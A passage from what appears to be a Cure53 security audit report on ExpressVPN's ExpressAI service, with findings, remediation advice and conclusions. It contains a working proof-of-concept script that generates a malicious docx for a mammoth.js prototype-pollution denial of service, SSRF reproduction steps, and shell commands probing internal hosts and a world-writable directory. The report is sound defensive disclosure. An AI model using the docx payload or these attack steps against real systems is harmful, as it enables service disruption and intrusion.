cure53.de · mario@cure53.de

5. Trigger the execution by navigating to the ExpressAI web interface and sending a standard chat message to the targeted model.
6. Observe the *netcat* listener. A TCP connection initiated by the EKS backend infrastructure will be received, confirming the blind SSRF.
7. Simultaneously, observe the application's behavior. Subsequent users routed to this enclave will encounter persistent errors, demonstrating a DoS.

Furthermore, the same path traversal technique can be leveraged to access the internal *status* endpoint. By submitting a forged heartbeat payload, a potential attacker can arbitrarily modify the load balancer's configuration and state for any active enclave. This includes manipulating the routing domain, overriding the list of supported AI models, and injecting rogue cryptographic keys (*attestation_bundle*).

It is advised that path parsing and normalization in the BFF proxy should be unified, to properly decode and resolve URL-encoded characters before matching against the block-list. Specifically, the proxy should resolve canonical paths using a robust library mechanism, rather than string matching. Furthermore, it is advised that the RabbitMQ URL generation logic should properly sanitize and encode the password field, to prevent connection string injection and subsequent blind SSRF.

EXP-23-018 WP2: *Docx* processing Server-Side Prototype Pollution *(High)*

***Fix Note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

CVSS Score: 6.5
CVSS String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H/E:F/RL:U/RC:C
CWE: https://cwe.mitre.org/data/definitions/1321.html

It was found that the ExpressAI enclave environment is vulnerable to a Server-Side Prototype Pollution flaw stemming from the insecure parsing of *docx* files by the *mammoth.js* library. By uploading a maliciously-crafted document containing a poisoned *styles.xml* definition, Cure53 was able to manipulate the global *Object.prototype* within the isolated enclave VM.

During testing, it was demonstrated that injecting the *socketPath* property successfully corrupted the underlying request configuration of the Axios HTTP client used for internal enclave routing. Consequently, all subsequent API calls to the local vLLM instances were hijacked and routed toward a non-existent Unix socket. This broke the internal communication pipeline, causing the AI models to disappear from the application's availability list, and resulting in a persistent DoS condition for the targeted enclaves.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file:
backend-enclave/src/core/file-processor.js

Affected code:
```
async prepareForStreaming(fileBuffer, fileName, fileType, userQuestion,
context) {
  const mammoth = require('mammoth');

  const result = await mammoth.extractRawText({ buffer: fileBuffer });
  const text = result.value.trim();
```

Affected file:
mammoth.js/lib/docx/styles-reader.js

Affected code:
```
root.getElementsByTagName("w:style").forEach(function(styleElement) {
    var style = readStyleElement(styleElement);
    var styleSet = styles[style.type];
[...]
    if (styleSet && styleSet[style.styleId] === undefined) {
        styleSet[style.styleId] = style;
    }
});
```

PoC code:
```
const JSZip = require('jszip');
const fs = require('fs');
const path = require('path');

async function generate() {
    const zip = new JSZip();
    zip.file('word/document.xml', '<?xml version="1.0" encoding="UTF-8"
standalone="yes"?><w:document
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:b
ody><w:p><w:r><w:t>xD</w:t></w:r></w:p></w:body></w:document>');

    const maliciousStyles = `<?xml version="1.0" encoding="UTF-8"
standalone="yes"?>
<w:styles
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
    <w:style w:type="__proto__" w:styleId="socketPath">
        <w:name w:val="Cure53" />
    </w:style>
</w:styles>`;

    zip.file('word/styles.xml', maliciousStyles);
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
    zip.file('[Content_Types].xml', '<?xml version="1.0" encoding="UTF-8"
standalone="yes"?><Types
xmlns="http://schemas.openxmlformats.org/package/2006/content-
types"><Default Extension="xml" ContentType="application/xml"/><Override
PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-
officedocument.wordprocessingml.document.main+xml"/><Override
PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-
officedocument.wordprocessingml.styles+xml"/></Types>');
    zip.file('_rels/.rels', '<?xml version="1.0" encoding="UTF-8"
standalone="yes"?><Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relat
ionship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/
officeDocument" Target="word/document.xml"/></Relationships>');
    zip.file('word/_rels/document.xml.rels', '<?xml version="1.0"
encoding="UTF-8" standalone="yes"?><Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relat
ionship Id="x"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/
styles" Target="styles.xml"/></Relationships>');

    const docxBuffer = await zip.generateAsync({ type: 'nodebuffer' });
    const filePath = path.join(__dirname, 'malicious.docx');

    fs.writeFileSync(filePath, docxBuffer);
    console.log(`saved ${filePath}`);
}
generate();
```

Steps to reproduce:

1. Execute the attached *poc.js* script in a local Node.js environment to generate the maliciously-crafted document. The script injects a modified *styles.xml* file containing the Prototype Pollution payload targeting the *socketPath* property.
2. Authenticate to the application and navigate to the main chat interface.
3. Upload the generated *docx* file as an attachment and submit a standard prompt - e.g. asking the AI to summarize the document.
4. Wait for the backend to forward the file to the enclave. Once the *mammoth.js* library processes the file, the global *Object.prototype* inside the enclave VM becomes polluted with the *socketPath* object.
5. Attempt to interact with the chat again, or wait for the enclave to perform its routine internal health checks.
6. Refresh the frontend application and open the model selection menu. Observe that the model served by the targeted enclave has disappeared from the availability list, confirming a successful DoS.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To effectively mitigate the vulnerability and its consequences within the enclave environment, it is advised that the following remediation strategies should be implemented:

As this issue appears to stem from a previously-unknown 0-day vulnerability in the third-party *mammoth.js* library, relying on a standard version update is not a viable immediate solution. Therefore, it is recommended that alternative defensive measures should be applied directly at the application level.

The primary recommendation is to implement prototype freezing. To this end, it is advised that modifications to the global prototype chain should be prevented, by freezing *Object.prototype* at the very beginning of the enclave application's lifecycle.

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

EXP-23-002 WP5: Nonexistent user has *sudo* without password *(Info)*

***Fix Note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/1321.html

Whilst Inspecting the Linux permissions, user and group management, and *sudo* configuration on the hypervisor, a stale *sudo* configuration was found to be present, allowing any user named *ubuntu* to escalate to *root* without the need for a password. As no user named *ubuntu* is currently present on the system, this issue only has indirect abuse potential, and could accidentally become a problem if such a user were to be added in the future.

Affected file:
sudoers.d/90-cloud-init-users

Affected configuration:

```
# Created by cloud-init v. 25.1.4-0ubuntu0~24.04.1 on Tue, 11 Nov 2025
14:39:14
# User rules for ubuntu
ubuntu ALL=(ALL) NOPASSWD:ALL
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It is recommended to clean up the *sudo* configuration. Further, it is advised that care should be taken to ensure good server housekeeping, and to avoid confirmation drift. This will help to ensure a secure and stable system in the future.

EXP-23-003 WP5: Weak permissions of administrative directory *(Medium)*

***Fix Note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: http://cwe.mitre.org/data/definitions/264.html

While inspecting file and directory permissions on the hypervisors for potentially exploitable flaws (local privilege escalation or lateral movement), it was noted that */shared* was set to *chmod 777*, allowing any user on the system to read and write to it. This exposes its contents to all users, and would enable an attacker to place executable scripts there, which could be accidentally run by a higher-privileged user or admin.

PoC:

```
root@samo-b200-node-1-f3:/$ ls -alhp /shared/ | head -n 2 | tail -n 1
drwxrwxrwx  2 root          root          4.0K Mar  3 06:35 ./

root@samo-b200-node-1-f3:/shared$ sudo su nobody -s /bin/sh -c\
     'touch launch_vm_EVIL.sh && ls -alh launch_vm_EVIL.sh'
-rw-r--r-- 1 nobody nogroup 0 Mar  4 13:05 launch_vm_EVIL.sh

cure53-martin@samo-b200-node-1-f3:/shared$ ls -alh
drwxrwxrwx  2 root          root       4.0K Mar  3 06:35 .
drwxr-xr-x 19 root          root       4.0K Nov 13 18:43 ..
-rw-------  1 root          root        12K Nov 13
23:20 .launch_snp_vm.sh.swp
-rw-r--r--  1 root          root        404 Nov 19 01:09
change_card_driver.sh
-rwxr-xr-x  1 root          root       2.1K Nov 17 20:21 launch_vm.sh
-rwxr-xr-x  1 root          root        991 Nov 17 12:27
launch_vm_no_gpu.sh
-rwxr-xr-x  1 root          root       3.5K Dec  3 03:15 launch_vm_roy.sh
-rwxr-xr-x  1 root          root       1.7K Nov 16 02:46 launch_vm_snp.sh
-rw-r--r--  1 nobody nogroup 0 Mar  4 13:05 launch_vm_EVIL.sh
```

It is advised to tighten file permissions as much as possible. In particular, it is advised that no scripts (especially not anything running with elevated privileges) should be executed from a folder writable by anyone other than admins. This will help to prevent LPE via social engineering, and will reduce the risk of credential disclosure attacks.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

EXP-23-004 False Positive: User *nobody* may control QEMU disk *(Info)*

***Fix Note**: This issue was clarified during the testing phase. The files in question were no longer actively in use. Cure53 therefore confirms that the problem was a false positive.*

CVSS Score: 0.0
CVSS String: -
CWE: http://cwe.mitre.org/data/definitions/264.html

During a brief exploration of EXP-23-003, it was discovered that several administrative scripts use files from the overly-permissive */shared* directory. In some cases, these files are passed as installation media and persistence media to guest VMs during installation.

It is advised that this is dangerous, as not only is sensitive virtualization software exposed to potentially attacker-controlled input, but file permissions could also be manipulated in advance, or used for other nefarious activities. This unnecessarily expands the attack surface available for local privilege escalation.

PoC:

```
root@samo-b200-node-1-f3:/$ ls -alhp /shared/ | head -n 2 | tail -n 1
drwxrwxrwx  2 root          root          4.0K Mar  3 06:35 ./

root@samo-b200-node-1-f3:/shared$ sudo su nobody -s /bin/sh -c\
     'touch this_is_not_nececary && ls -alh this_is_not_nececary'
-rw-r--r-- 1 nobody nogroup 0 Mar  4 13:05 this_is_not_nececary
```

Example affected file:
/shared/launch_vm.sh

Example affected code:

```
#!/bin/bash
CORES=64
MEM=200
VDD_IMAGE=/shared/ubuntu.qcow2
FWDPORT=9899
CDROM=/shared/ubuntu-24.04.2-live-server-amd64.iso
[...]
qemu-system-x86_64 \
[...]
  -drive file=$VDD_IMAGE,if=none,id=disk0,format=qcow2 \
  -cdrom $CDROM \
[...]
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Note: *The system has three different versions of the VM deployment scripts, and it is unclear how (or which) deployment script is actually used. This makes it difficult to precisely estimate the impact of this finding. Cure53 therefore decided to report it and move on to other topics, rather than spending significant time drilling into specific exploitation scenarios, as that effort did not seem likely to provide commensurate value.*

It is advised to ensure that no files writable by the user *nobody* (i.e., effectively anyone on the hypervisor) are passed to sensitive programs running as *root* - such as QEMU. This will significantly reduce the attack surface, and will prevent attacks where an attacker replaces a file on the filesystem as *nobody*, and waits for it to be used by an administrator.

EXP-23-005 WP2: Rate-limiting bypass in *backend-eks* component *(Low)*

Fix Note*: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: http://cwe.mitre.org/data/definitions/840.html

During the audit, it was noted that the rate-limiting implementation relies on user-provided information - specifically the *x-forwarded-for* header value. Even though the header is set by the AWS ALB, the configuration in use only runs in append mode, and thus the first value submitted by a potential attacker is kept. This would allow an attacker to effectively bypass the rate-limiting - by providing random values within the *x-forwarded-for* header.

Affected file:
backend-eks/src/middleware/rateLimitPublic.js

Affected code:
```
function getClientIP(req) {
  return req.headers['x-forwarded-for']?.split(',')[0]?.trim() ||
         req.headers['x-real-ip'] ||
         req.socket?.remoteAddress ||
         'unknown';
}
```

It is advised that the AWS ALB configuration should ensure that the value of the headers in use is set to the actual client's remote address, and does not utilize user-provided values.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

EXP-23-006 WP5: Hypervisor lacks egress filtering *(Low)*

***Note from ExpressVPN**: The Hypervisors in use by ExpressAI are well guarded against compromise, and have robust controls in place to detect compromise. This finding is only valid in the extremely unlikely event that the Hypervisor were compromised.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/264.html

During the inspection of the hypervisor (in the form of a Linux server running QEMU), it was noted that no network egress filtering was present. This means that an attacker who is in the process of gaining a foothold in the system has more time than necessary to use backconnect shells, or to later exfiltrate data.

PoC:

```
% curl ipinfo.io | jq -r .ip
31.22.104.251
```

It is advised to consider adding strict traffic filtering on the network side, in order to prevent easy data exfiltration, and to make ongoing exploitation more difficult. This will provide an additional layer of defense-in-depth, and will contribute to the overall hardening and strengthening of the security posture. Necessary outgoing Internet traffic can be facilitated via allow-listing, as well as an HTTP proxy with monitoring.

EXP-23-008 WP5: Self-hosted VMs lack egress filtering *(Low)*

***Note from ExpressVPN**: The VM in use by ExpressAI, running on the Hypervisors, are well guarded against compromise, and have robust controls in place to detect compromise. This finding is only valid in the extremely unlikely event that the Hypervisor were compromised.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/264.html

During the inspection of the hypervisor's VMs (in the form of QEMU guests), it was noted that no network egress filtering was present. This means that an attacker who is in the process of gaining a foothold in the system has more time than necessary to use backconnect shells, or to later exfiltrate data.

It is advised to consider adding strict traffic filtering on the hypervisor's virtual network side, in order to prevent easy data exfiltration, and to make ongoing exploitation more difficult. This will provide an additional layer of defense-in-depth, and will contribute to the overall hardening and strengthening of the security posture. Necessary outgoing Internet traffic can be facilitated via allow-listing, as well as an HTTP proxy with monitoring.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

EXP-23-010 WP5: Further network hardening suggestions *(Info)*

***Note from ExpressVPN**: DNS firewalling is not currently implemented or required. Future features may require DNS to support additional features on the product.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/264.html

During the inspection of the hypervisor (in the form of a Linux server running QEMU), it was noted that DNS traffic was not sufficiently restricted or controlled. This means that an attacker who is in the process of gaining a foothold in the system may be able to abuse DNS as a covert channel for data exfiltration or command-and-control communication, even in cases where other outbound traffic is filtered more strictly.

PoC:

```
dig some.example.net +short
104.18.4.10
```

It is advised to consider adding strict DNS firewalling and controlled name resolution, in order to prevent the misuse of DNS for unauthorized outbound communication. This will provide an additional layer of defense-in-depth, and will contribute to the overall hardening and strengthening of the security posture. Necessary DNS traffic can be facilitated via dedicated internal resolvers, allow-listing of approved destinations, and monitoring of query patterns - in order to detect suspicious tunneling or exfiltration activity. As a consideration for implementation in AWS environments, Amazon Route 53 Resolver DNS Firewall may be used as a managed control for filtering and monitoring outbound DNS traffic.

EXP-23-011 WP5: Multiple deviations from best practice in GitHub actions *(Low)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 5.1
CVSS String: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
CWE: https://cwe.mitre.org/data/definitions/494.html

During the evaluation of the infrastructure components, the CI/CD's GitHub Actions and workflows were closely reviewed. While Cure53 did not locate any directly exploitable vulnerabilities, multiple deviations from best practices were observed, which could lead to the compromise of secrets, actions, or repositories.

The following enumerated concerns summarize the prominent issue classes detected in this area which it is advised to resolve, given the sensitive nature of CI/CD:

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Lack of external action pinning:
The lack of commit hash version pinning of externally-referenced GitHub Actions means that the security efficacy of the ExpressVPN organization unnecessarily trusts the individual owner of the externally-referenced actions. It is advised that this presents unnecessary risk.

Example affected file:
xv_expressai_ops/.github/workflows/claude-code-review.yml

Example affected code:
```
uses: anthropics/claude-code-action@beta
```

Overly-broad workflow permissions:
During the review of the GitHub Actions configuration for the ExpressVPN organization, it was observed that workflows were configured with overly-broad permissions, including *id-token: write* at the workflow level. In addition, reliance on default *GITHUB_TOKEN* permissions without explicit restriction may cause workflows to execute with more access than required - including write access to repository contents, pull requests, issues, and packages. This violates the principle of least privilege and increases the impact of workflow abuse, malicious pull requests, compromised runners, or vulnerable third-party actions.

It is advised to explicitly restrict workflow permissions to the minimum required for each job, and to avoid granting *id-token: write* unless it is strictly necessary for a specific OIDC-based authentication flow. This measure will provide an additional layer of defense-in-depth, and will reduce the blast radius of CI/CD compromise, while contributing to the overall hardening of the GitHub Actions environment.

Example affected file:
xv_expressai_officely/.github/workflows/dispatcher.yml

Example affected code:
```
id-token: write
```

Unsafe interpolation of untrusted input in run blocks (RCE):
User-controlled values such as issue or PR titles, branch names, workflow inputs, commit messages, and comments are injected directly into shell run blocks. This is not solved by escaping alone, because the root issue is template-time interpolation. It is advised that the untrusted value should be defined outside the run block, and referenced only as a variable inside it. Failure to do this can allow an attacker to break the intended shell context and execute arbitrary commands on the runner, enabling secret theft, artifact tampering, and potential pivoting into ExpressVPN repositories or infrastructure.

Example affected file:
xv_expressai_officely/.github/workflows/create-enclave-image.yml

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Example affected code:
```
bash ${{ env.XAI_ENCLAVE_REPO_PATH }}/builder/create_image.sh
```

It is advised that the ExpressVPN team should address these weaknesses, to bolster the CI/CD, minimize common attack paths, and tighten controls in relation to builds, deployments, and secrets.

EXP-23-012 WP5: Hypervisor reachable from VM network *(Medium)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/264.html

During the inspection of the virtualized environment, it was observed that the guest VM was able to reach the underlying hypervisor system over the network. In the observed case, the hypervisor (in the form of a Linux server running QEMU) responded to an SSH connection attempt originating from the hosted VM. This indicates insufficient isolation between guest and host systems, and exposes the hypervisor to direct attack attempts from the guest context.

PoC:
```
root@xai-node1-vm5:~# nmap -p- -Pn --min-rate 3000  10.13.22.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-10 19:56 UTC
Nmap scan report for 10.13.22.62
PORT      STATE SERVICE
22/tcp    open  ssh
6556/tcp  open  checkmk-agent
16080/tcp open  osxwebadmin
16100/tcp open  unknown
root@xai-node1-vm5:~# ssh 10.13.22.62
The authenticity of host '10.13.22.62 (10.13.22.62)' can't be established.
ED25519 key fingerprint is
SHA256:2YsNvbfJzQueSsVr5Wa542QvC1db6umj1rLmiJcGNK4.
[...]
```

It is advised to enforce strict network segregation between guest systems and the hypervisor, so that hosted VMs cannot directly communicate with the host unless this is explicitly required. This measure will provide an additional layer of defense-in-depth, and will reduce the hypervisor's attack surface, while contributing to the overall hardening of the environment.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

EXP-23-013 False Positive: Missing network isolation between VMs on hypervisor *(Low)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/264.html

During the inspection of the virtualized environment, it was observed that one guest VM was able to reach another guest VM over the network. In the observed case, a VM responded to an SSH connection attempt originating from a separate hosted VM. This indicates insufficient network isolation between guest systems, and exposes co-located VMs to direct attack attempts from other guest contexts.

PoC:

```
root@xai-node1-vm5:~# nmap -p 22 -T4 10.13.22.71/24 --open -PN -oG
/tmp/nmap
root@xai-node1-vm5:~# cat /tmp/nmap
Host: 10.13.22.57 ()      Ports: 22/open/tcp//ssh///
Host: 10.13.22.62 ()      Ports: 22/open/tcp//ssh///
Host: 10.13.22.67 ()      Ports: 22/open/tcp//ssh///
Host: 10.13.22.75 ()      Ports: 22/open/tcp//ssh///
```

It is advised to enforce strict network segregation between guest systems, so that hosted VMs cannot directly communicate with each other unless this is explicitly required. This measure will provide an additional layer of defense-in-depth, and will reduce the attack surface between co-located systems, while contributing to the overall hardening of the environment.

EXP-23-014 WP2: Non-constant time comparison of admin API token *(Low)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/205.html

Cure53 discovered a linear time comparison, which uses built-in string comparison functions. It was found that the Admin API compares the access token of a request (which acts as authorization credentials) with the *ADMIN_API_TOKEN* in a non-constant time fashion.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Most modern programming languages compare strings character-by-character. If two strings mismatch at a position, then the comparison immediately returns *false*, to save on performance costs. This introduces a side-channel for an attacker attempting to brute-force credentials.

An attacker positioned in this way could measure the minimal time differences between matches and mismatches of characters at any location within strings when comparing the credentials. Such an approach tremendously reduces the search space needed to brute-force credentials. The code excerpt shown below highlights the comparison of the *ADMIN_API_TOKEN* with a token stemming from a request. It is evident that the comparison is done on the basis of the strict *equals* function:

Affected file:
xv_expressai_officely/backend-enclave/src/api/admin-server.js

Affected code:
```
if (authToken) {
  const providedToken = req.headers['x-admin-token'] || req.query.token;
  if (providedToken !== authToken) {
    logger.warn(`[Admin] Blocked request from ${clientIp} - invalid
token`);
    return res.status(401).json({ error: 'Unauthorized - invalid token' });
  }
```

To mitigate this issue, it is advised that comparisons of cryptographic tokens, credentials, or secrets should always be implemented using a constant-time approach - e.g. by using *timingSafeEqual*[6].

EXP-23-016 WP2: DuckDB sandbox hardening recommendations *(Info)*

***Fix Note**: This issue has been fixed by the ExpressVPN team and verified by Cure53 to be working as expected. The described issue no longer exists.*

CVSS Score: 0.0
CVSS String: -
CWE: https://cwe.mitre.org/data/definitions/264.html

The ExpressAI backend utilizes a sandboxed DuckDB environment to securely process uploaded CSV files. While the current implementation successfully restricts external file access and enforces resource limits, the configuration remains unlocked after initialization. If an attacker bypasses the SQL validation layer, then they might be able to reconfigure the database engine during runtime and disable the previously-applied security parameters.

[6] https://nodejs.org/api/crypto.html#crypto_crypto_timingsafeequal_a_b

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

To fortify the DuckDB sandbox against potential configuration tampering, it is recommended to lock[7] the database settings immediately after applying the security policies. Adding the lock configuration statement will ensure that subsequent queries executed within the same connection cannot alter the established limits and access controls.

Proposed hardening directive:
```
SET lock_configuration = true
```

EXP-23-019 WP4: Lack of forward secrecy *(Info)*

***Note from ExpressVPN**: As stated in this finding, Forward Secrecy is not currently a design goal of ExpressAI, and a conscious choice has been made to make the password the root of trust to ensure that users can maintain access to stored chats after a session has ended.*

CVSS Score: 0.0
CVSS String: -
CWE #1: https://cwe.mitre.org/data/definitions/327.html
CWE #2: https://cwe.mitre.org/data/definitions/331.html

While reviewing the encryption protocols, it was noted that the generation of session keys does not have forward secrecy. A protocol has forward secrecy when the leakage of a long term secret (in this case a password) does not leak previously-completed chats.

Affected file:
xv_expressai_officely/frontend/lib/chat-api.ts:

Affected code:
```
function getOrCreateChatId(): string {
  if (!currentChatId) {
    currentChatId = `chat-${Date.now()}-${crypto.randomUUID().split('-')
[0]}`;
  }
  return currentChatId;
}
```

The cryptographic keys are derived from *masterKey*, *chatId*, and *purpose*. *masterKey* is derived from the user's password, and *chatId* is an identifier that is chosen differently for each chat. The format of *chatId* is a string (e.g. *chat-1772714272713-351cab93*), where the second part is the current time, and the third part is a random 32-bit integer. The main purpose of the *chatId* is to ensure that cryptographic keys used for different chats do not collide. This requirement is satisfied.

[7] https://duckdb.org/docs/stable/operations_manual/securing_duckdb/overview#locking-configurations

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Attackers can decrypt old chats if they can determine or guess the password and the *chatId*. To prevent such attacks under the assumption that an old password leaks, it would be necessary that the *chatId* remained secret and contained enough entropy, or that the generation of the keys used during a chat was derived from an additional ephemeral secret. To estimate the entropy of the current *chatId*, it should be noted that the attacker may know the date of the chat, and hence the inclusion of the time in the *chatId* does not add secret entropy. The only truly random part is the third part of the *chatId,* which is a 32-bit random integer. Hence, under ideal assumption, an attacker has to perform a brute-force search over a 32-bit value - which does not provide sufficient security.

Forward secrecy is currently not a stated design goal for ExpressVPN ExpressAI. Given that passwords are often weak, and have a tendency to leak, Cure53 recommends adding forward secrecy as a design goal - particularly with respect to password leakage.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

As noted in the *Introduction*, this March 2026 penetration test and source code audit was conducted by Cure53 against the ExpressVPN ExpressAI client, with a focus on its frontend and backend components, its cryptography and key management, and its underlying infrastructure.

From a contextual perspective, twenty-two working days were allocated to reach the coverage expected for this project. The methodology used conformed to a white-box strategy, and a team of five senior testers was assigned to the project's preparation, execution, and finalization.

The ExpressVPN ExpressAI application and infrastructure represents a multi-tier confidential computing platform designed for privacy-preserving AI interactions. It has a sophisticated architecture, combining web application components, cloud infrastructure, and hardware-based trusted execution environments. This audit encompassed the frontend application built with Next.js and React, the backend API services deployed on AWS EKS, the enclave environment running on AMD SEV-SNP hardware, and the supporting infrastructure - including GitHub Actions, hypervisor configurations, and internal network security controls.

Cure53's investigation was focused on determining whether the existing functionality of the application and its connected endpoints could withstand attacks by malicious actors and services. The auditors sought to verify the presence of classic and well-known web security problems, while simultaneously assessing the system for logic weaknesses that could compromise the confidentiality, integrity, or availability of the platform - particularly its cleartext user data. The audit followed a comprehensive, multi-layered testing approach that combined static code analysis, dynamic application security testing, and infrastructure assessments.

In total, nineteen security-related findings were made during this audit. While only six of these findings were judged to represent security vulnerabilities, it is important to note that three of them received scores of *High* in terms of severity and impact. In general, Cure53 sees the list of findings as being fair, given the context of the application scope, although it is advised that it still demonstrates a need for targeted repairs and hardening within the application complex.

The frontend application was subjected to thorough testing. Here, the team focused its analysis on client-side security controls, cryptographic implementations, and potential attack vectors - including XSS / DOM-based XSS. Particular attention was also given to the master password handling.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Further, the end-to-end encryption implementation and attestation logic received scrutiny. The team examined whether the frontend properly validates SEV-SNP attestation reports, verifies the VCEK signature chain, and confirms enclave measurements against known-good values.

A rigorous assessment of the BFF proxy was conducted. This testing revealed a *High* severity vulnerability (EXP-23-017). By leveraging double URL-encoded path traversal sequences, the team was able to bypass the proxy block-list mechanism, which granted unauthorized access to internal management endpoints. This flaw effectively broke the trust boundary between the frontend and the enclave, which allowed enclave configuration tampering, and facilitated a blind SSRF via RabbitMQ credential injection.

The JWT validation and TokenBurning services were also thoroughly reviewed. Here, the implementation was found to be secure against time-of-check to time-of-use (TOCTOU) race conditions, thanks to the proper use of atomic Redis operations. Furthermore, the overall JWT handling proved to be robust and securely implemented.

To assess resilience against injection and abuse vectors, extensive analysis was performed on the backend documents processing pipeline. While image parsing via the *sharp* library, and PDF conversion via *poppler* proved resilient against XML external entity (XXE)-related weaknesses and arbitrary file reads, the *docx* parsing logic was found to expose a critical weakness. Here a *High* severity 0-day Server-Side Prototype Pollution vulnerability was discovered in the *mammoth.js* library (EXP-23-018). Exploitation of this flaw allowed for the corruption of the internal Axios HTTP client configuration, resulting in a persistent DoS for targeted AI models. The *mammoth.js* library was subjected to particular testing scrutiny, given that document processing libraries have historically been prone to various injection and parsing vulnerabilities.

Additionally, the custom DuckDB sandbox was reviewed. This led to the team making a hardening recommendation to lock the configuration during runtime, in order to further fortify the application against SQLi escalations (EXP-23-016).

A significant portion of the audit focused on the ExpressAI platform's cryptographic foundations. The end-to-end encryption implementation was examined to verify that master passwords never leave the client device, that key derivation functions use appropriate salts and iteration counts, and that session keys are properly generated and managed.

The protocol and cryptographic primitives used for chat encryption were found to be generally well-suited for the given requirements. The overall design of the protocol was found to be adequate.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The master password-based key derivation was seen to use Argon2 for key stretching, and HKDF for the derivation of sub secrets. This design is advised to be appropriate. EXP-23-009 notes the use of a constant salt - rather than a distinct salt - for each user / password.

Encryption keys were found to be changed for each new chat, thereby improving the security of individual chats. However, EXP-23-019 notes that the encryption keys only depend on the password and a *chatId* (which has weak entropy). By deriving the encryption keys for individual chats from an ephemeral secret with more entropy it would be possible to ensure that past chats remain secure in the event of a password leak. However, it should be noted that PFS is not a design goal of the application, thus this evaluation is only provided in an informational manner.

It is advised that input verification requires improvement in a number of areas. EXP-23-015 highlights missing checks in the certificate parsing.

Cure53 noted that the project uses both cryptographically secure and insecure (e.g. *Math.random*) random number generators. However, a review of the code concluded that all instances requiring strong randomness use a cryptographically secure random number generator.

The integration of cryptographic libraries was assessed. The project depends on two underlying libraries - these being *crypto.subtle* and *@noble*. Both libraries have a good reputation and are well-maintained. Further, both have sufficiently robust interfaces, with the effect that the underlying primitives can be used safely without requiring much effort. A review of the code calling these libraries concluded that the corresponding interfaces are used appropriately.

In conclusion, the overall architecture and technical stack left a good impression on the testing team. While issues were identified during the audit, many areas have been implemented correctly, and the findings highlight opportunities for further improvement across multiple areas of the application stack.I

